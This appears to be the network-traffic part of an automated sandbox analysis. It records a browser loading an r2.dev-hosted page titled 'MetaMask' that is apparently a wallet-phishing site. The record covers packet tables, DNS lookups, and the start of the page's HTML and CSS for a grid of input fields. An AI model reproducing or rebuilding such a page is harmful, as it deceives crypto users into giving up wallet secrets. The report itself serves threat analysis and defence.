Sep 29, 2024 02:10:30.546863079 CEST	49703	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:30.546957016 CEST	49703	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:30.547811031 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:30.547880888 CEST	443	49748	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:30.547955990 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:30.551820040 CEST	443	49703	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:30.551832914 CEST	443	49703	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:30.552829027 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:30.552849054 CEST	443	49748	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:31.162578106 CEST	443	49748	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:31.162652016 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:31.380909920 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:31.380944967 CEST	443	49748	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:31.381371021 CEST	443	49748	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:31.381437063 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:31.383529902 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:31.383564949 CEST	443	49748	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:31.384121895 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:31.384129047 CEST	443	49748	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:31.692717075 CEST	443	49748	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:31.692984104 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:31.693010092 CEST	443	49748	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:31.693074942 CEST	443	49748	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:31.693121910 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:31.693146944 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:31.693161964 CEST	443	49748	23.1.237.91	192.168.2.5
Sep 29, 2024 02:10:31.693170071 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:31.693212986 CEST	49748	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:10:31.756392002 CEST	443	49727	142.250.185.68	192.168.2.5
Sep 29, 2024 02:10:31.756457090 CEST	443	49727	142.250.185.68	192.168.2.5
Sep 29, 2024 02:10:31.756536961 CEST	49727	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:10:32.776940107 CEST	49727	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:10:32.776989937 CEST	443	49727	142.250.185.68	192.168.2.5
Sep 29, 2024 02:10:33.467200994 CEST	80	49709	172.66.0.235	192.168.2.5
Sep 29, 2024 02:10:33.467268944 CEST	49709	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:34.513477087 CEST	49709	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:10:34.518353939 CEST	80	49709	172.66.0.235	192.168.2.5
Sep 29, 2024 02:11:03.574322939 CEST	49710	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:11:03.579117060 CEST	80	49710	172.66.0.235	192.168.2.5
Sep 29, 2024 02:11:20.721050978 CEST	49752	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:11:20.721088886 CEST	443	49752	142.250.185.68	192.168.2.5
Sep 29, 2024 02:11:20.724215984 CEST	49752	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:11:20.724512100 CEST	49752	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:11:20.724520922 CEST	443	49752	142.250.185.68	192.168.2.5
Sep 29, 2024 02:11:21.513839960 CEST	443	49752	142.250.185.68	192.168.2.5
Sep 29, 2024 02:11:21.514128923 CEST	49752	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:11:21.514158010 CEST	443	49752	142.250.185.68	192.168.2.5
Sep 29, 2024 02:11:21.514616013 CEST	443	49752	142.250.185.68	192.168.2.5
Sep 29, 2024 02:11:21.515121937 CEST	49752	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:11:21.515198946 CEST	443	49752	142.250.185.68	192.168.2.5
Sep 29, 2024 02:11:21.559355974 CEST	49752	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:11:31.297699928 CEST	443	49752	142.250.185.68	192.168.2.5
Sep 29, 2024 02:11:31.297780037 CEST	443	49752	142.250.185.68	192.168.2.5
Sep 29, 2024 02:11:31.297828913 CEST	49752	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:11:32.690603018 CEST	49752	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:11:32.690632105 CEST	443	49752	142.250.185.68	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 02:10:16.461076021 CEST	53	59220	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:16.509180069 CEST	53	61772	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:17.528345108 CEST	53	50746	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:18.078742027 CEST	62357	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:18.079133034 CEST	57850	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:18.089024067 CEST	53	62357	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:18.089960098 CEST	53	57850	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:18.581267118 CEST	57630	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:18.581413031 CEST	64179	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:18.590352058 CEST	53	57630	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:18.591000080 CEST	53	64179	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:19.339510918 CEST	59075	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:19.339653969 CEST	52633	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:19.340399981 CEST	57581	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:19.340531111 CEST	62799	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:19.345583916 CEST	53	61609	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:19.346204042 CEST	53	52633	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:19.346570969 CEST	53	59075	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:19.346997023 CEST	53	57581	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:19.347225904 CEST	53	62799	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:19.348067045 CEST	53	52390	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:19.426007986 CEST	49921	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:19.426259995 CEST	52639	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:19.434159040 CEST	53	52639	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:19.434706926 CEST	53	49921	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:20.970823050 CEST	62532	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:20.970995903 CEST	62230	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:20.977555990 CEST	53	62532	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:20.977745056 CEST	53	62230	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:21.150729895 CEST	63931	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:21.157387018 CEST	63302	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:21.160204887 CEST	53	63931	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:21.165524960 CEST	53	63302	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:22.754076958 CEST	52451	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:22.754302025 CEST	57086	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:22.754632950 CEST	62606	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:22.754868984 CEST	65395	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:22.760922909 CEST	53	57086	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:22.760967970 CEST	53	52451	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:22.761260033 CEST	53	62606	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:22.761364937 CEST	53	65395	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:22.763570070 CEST	53	60396	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:22.798659086 CEST	53	58386	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:23.020883083 CEST	55055	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:23.021557093 CEST	55459	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:10:23.030301094 CEST	53	55055	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:23.031022072 CEST	53	55459	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:34.521771908 CEST	53	61085	1.1.1.1	192.168.2.5
Sep 29, 2024 02:10:53.504908085 CEST	53	55776	1.1.1.1	192.168.2.5
Sep 29, 2024 02:11:16.083873987 CEST	53	51944	1.1.1.1	192.168.2.5
Sep 29, 2024 02:11:16.582551003 CEST	53	60044	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 29, 2024 02:10:18.078742027 CEST	192.168.2.5	1.1.1.1	0x17a3	Standard query (0)	pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:18.079133034 CEST	192.168.2.5	1.1.1.1	0x2f63	Standard query (0)	pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev	65	IN (0x0001)	false
Sep 29, 2024 02:10:18.581267118 CEST	192.168.2.5	1.1.1.1	0x5d15	Standard query (0)	pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:18.581413031 CEST	192.168.2.5	1.1.1.1	0xb8fa	Standard query (0)	pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev	65	IN (0x0001)	false
Sep 29, 2024 02:10:19.339510918 CEST	192.168.2.5	1.1.1.1	0xeff3	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:19.339653969 CEST	192.168.2.5	1.1.1.1	0x8678	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 29, 2024 02:10:19.340399981 CEST	192.168.2.5	1.1.1.1	0x77b7	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:19.340531111 CEST	192.168.2.5	1.1.1.1	0x856e	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 02:10:19.426007986 CEST	192.168.2.5	1.1.1.1	0x2181	Standard query (0)	bestfilltype.netlify.app	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:19.426259995 CEST	192.168.2.5	1.1.1.1	0x1edd	Standard query (0)	bestfilltype.netlify.app	65	IN (0x0001)	false
Sep 29, 2024 02:10:20.970823050 CEST	192.168.2.5	1.1.1.1	0xd7b6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:20.970995903 CEST	192.168.2.5	1.1.1.1	0xbb30	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 29, 2024 02:10:21.150729895 CEST	192.168.2.5	1.1.1.1	0x6b8d	Standard query (0)	gtomitsuka.github.io	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:21.157387018 CEST	192.168.2.5	1.1.1.1	0xdabf	Standard query (0)	gtomitsuka.github.io	65	IN (0x0001)	false
Sep 29, 2024 02:10:22.754076958 CEST	192.168.2.5	1.1.1.1	0x9983	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:22.754302025 CEST	192.168.2.5	1.1.1.1	0xc6ee	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 02:10:22.754632950 CEST	192.168.2.5	1.1.1.1	0xea4d	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:22.754868984 CEST	192.168.2.5	1.1.1.1	0x842a	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 29, 2024 02:10:23.020883083 CEST	192.168.2.5	1.1.1.1	0x502f	Standard query (0)	gtomitsuka.github.io	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:23.021557093 CEST	192.168.2.5	1.1.1.1	0x1ffe	Standard query (0)	gtomitsuka.github.io	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 29, 2024 02:10:18.089024067 CEST	1.1.1.1	192.168.2.5	0x17a3	No error (0)	pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:18.089024067 CEST	1.1.1.1	192.168.2.5	0x17a3	No error (0)	pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:18.590352058 CEST	1.1.1.1	192.168.2.5	0x5d15	No error (0)	pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:18.590352058 CEST	1.1.1.1	192.168.2.5	0x5d15	No error (0)	pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:19.346570969 CEST	1.1.1.1	192.168.2.5	0xeff3	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:19.346570969 CEST	1.1.1.1	192.168.2.5	0xeff3	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:19.346570969 CEST	1.1.1.1	192.168.2.5	0xeff3	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:19.346570969 CEST	1.1.1.1	192.168.2.5	0xeff3	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:19.346997023 CEST	1.1.1.1	192.168.2.5	0x77b7	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:19.346997023 CEST	1.1.1.1	192.168.2.5	0x77b7	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:19.347225904 CEST	1.1.1.1	192.168.2.5	0x856e	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 29, 2024 02:10:19.434706926 CEST	1.1.1.1	192.168.2.5	0x2181	No error (0)	bestfilltype.netlify.app		18.192.94.96	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:19.434706926 CEST	1.1.1.1	192.168.2.5	0x2181	No error (0)	bestfilltype.netlify.app		35.156.224.161	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:20.977555990 CEST	1.1.1.1	192.168.2.5	0xd7b6	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:20.977745056 CEST	1.1.1.1	192.168.2.5	0xbb30	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 29, 2024 02:10:21.160204887 CEST	1.1.1.1	192.168.2.5	0x6b8d	No error (0)	gtomitsuka.github.io		185.199.108.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:21.160204887 CEST	1.1.1.1	192.168.2.5	0x6b8d	No error (0)	gtomitsuka.github.io		185.199.109.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:21.160204887 CEST	1.1.1.1	192.168.2.5	0x6b8d	No error (0)	gtomitsuka.github.io		185.199.110.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:21.160204887 CEST	1.1.1.1	192.168.2.5	0x6b8d	No error (0)	gtomitsuka.github.io		185.199.111.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:22.760922909 CEST	1.1.1.1	192.168.2.5	0xc6ee	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 29, 2024 02:10:22.760967970 CEST	1.1.1.1	192.168.2.5	0x9983	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:22.760967970 CEST	1.1.1.1	192.168.2.5	0x9983	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:22.761260033 CEST	1.1.1.1	192.168.2.5	0xea4d	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:22.761260033 CEST	1.1.1.1	192.168.2.5	0xea4d	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:22.761260033 CEST	1.1.1.1	192.168.2.5	0xea4d	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:22.761260033 CEST	1.1.1.1	192.168.2.5	0xea4d	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:23.030301094 CEST	1.1.1.1	192.168.2.5	0x502f	No error (0)	gtomitsuka.github.io		185.199.108.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:23.030301094 CEST	1.1.1.1	192.168.2.5	0x502f	No error (0)	gtomitsuka.github.io		185.199.109.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:23.030301094 CEST	1.1.1.1	192.168.2.5	0x502f	No error (0)	gtomitsuka.github.io		185.199.111.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:23.030301094 CEST	1.1.1.1	192.168.2.5	0x502f	No error (0)	gtomitsuka.github.io		185.199.110.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:29.357620955 CEST	1.1.1.1	192.168.2.5	0xe9eb	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:29.357620955 CEST	1.1.1.1	192.168.2.5	0xe9eb	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:29.919648886 CEST	1.1.1.1	192.168.2.5	0x625e	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:10:29.919648886 CEST	1.1.1.1	192.168.2.5	0x625e	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:10:43.316766977 CEST	1.1.1.1	192.168.2.5	0x476b	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:10:43.316766977 CEST	1.1.1.1	192.168.2.5	0x476b	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:11:08.582391024 CEST	1.1.1.1	192.168.2.5	0x9bee	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:11:08.582391024 CEST	1.1.1.1	192.168.2.5	0x9bee	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:11:29.285095930 CEST	1.1.1.1	192.168.2.5	0xf49c	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 02:11:29.285095930 CEST	1.1.1.1	192.168.2.5	0xf49c	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev

https:

code.jquery.com

cdnjs.cloudflare.com

bestfilltype.netlify.app

gtomitsuka.github.io

www.bing.com

fs.microsoft.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	172.66.0.235	80	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 02:10:18.107000113 CEST	468	OUT	GET /index.html HTTP/1.1 Host: pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 29, 2024 02:10:18.571007013 CEST	524	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 29 Sep 2024 00:10:18 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Sun, 29 Sep 2024 01:10:18 GMT Location: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ca7bfd9baf14388-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Sep 29, 2024 02:11:03.574322939 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	172.66.0.235	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:19 UTC	696	OUT	GET /index.html HTTP/1.1 Host: pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:19 UTC	283	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:10:19 GMT Content-Type: text/html Content-Length: 65297 Connection: close Accept-Ranges: bytes ETag: "4640974b064ebfa80e31dcb8dd5d89d5" Last-Modified: Sun, 14 Jul 2024 14:43:20 GMT Server: cloudflare CF-RAY: 8ca7bfdd8cbe42dc-EWR
2024-09-29 00:10:19 UTC	1086	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 65 74 61 4d 61 73 6b 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 62 6f 74 2d 6e 65 77 73 22 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>MetaMask</title> <meta name="googlebot" content="noindex"> <meta name="googlebot-news"
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 50 6f 70 70 69 6e 73 3a 77 67 68 74 40 33 30 30 3b 34 30 30 3b 35 30 30 3b 36 30 30 3b 37 30 30 3b 38 30 30 3b 39 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 27 29 3b 0d 0a 0d 0a 2a 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 7d 0d 0a 62 6f 64 79 7b 0d 0a 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 6f 70 70 69 6e 73 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 7d 0d 0a 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 20 73 65 6c 65 63 74 7b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 Data Ascii: 'https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700;800;900&display=swap');*{ margin: 0; padding: 0;}body{ box-sizing: border-box; font-family: 'Poppins', sans-serif;}button,input, select{ font-family: i
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 73 6c 61 74 65 59 28 2d 33 70 78 29 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 70 78 3b 0d 0a 7d 0d 0a 2e 66 6f 72 6d 2d 62 6f 78 2d 6d 61 69 6e 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 67 72 69 64 3b 0d 0a 20 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 63 6f 6c 75 6d 6e 73 3a 20 72 65 70 65 61 74 28 33 2c 20 31 66 72 29 3b 0d 0a 20 20 67 72 69 64 2d 67 61 70 3a 20 32 30 70 78 3b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 32 30 70 78 20 31 30 70 78 3b 0d 0a 0d 0a 7d 0d 0a 2e 69 6e 70 75 74 2d 66 6f 72 6d 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 2e 69 6e 70 75 74 2d 66 6f 72 6d 20 69 6e 70 75 74 7b 0d 0a 20 20 77 69 64 74 68 3a 20 38 30 25 3b 0d Data Ascii: slateY(-3px); margin-left: 4px;}.form-box-main{ display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 20px; margin: 20px 10px;}.input-form{ display: flex; align-items: center;}.input-form input{ width: 80%;
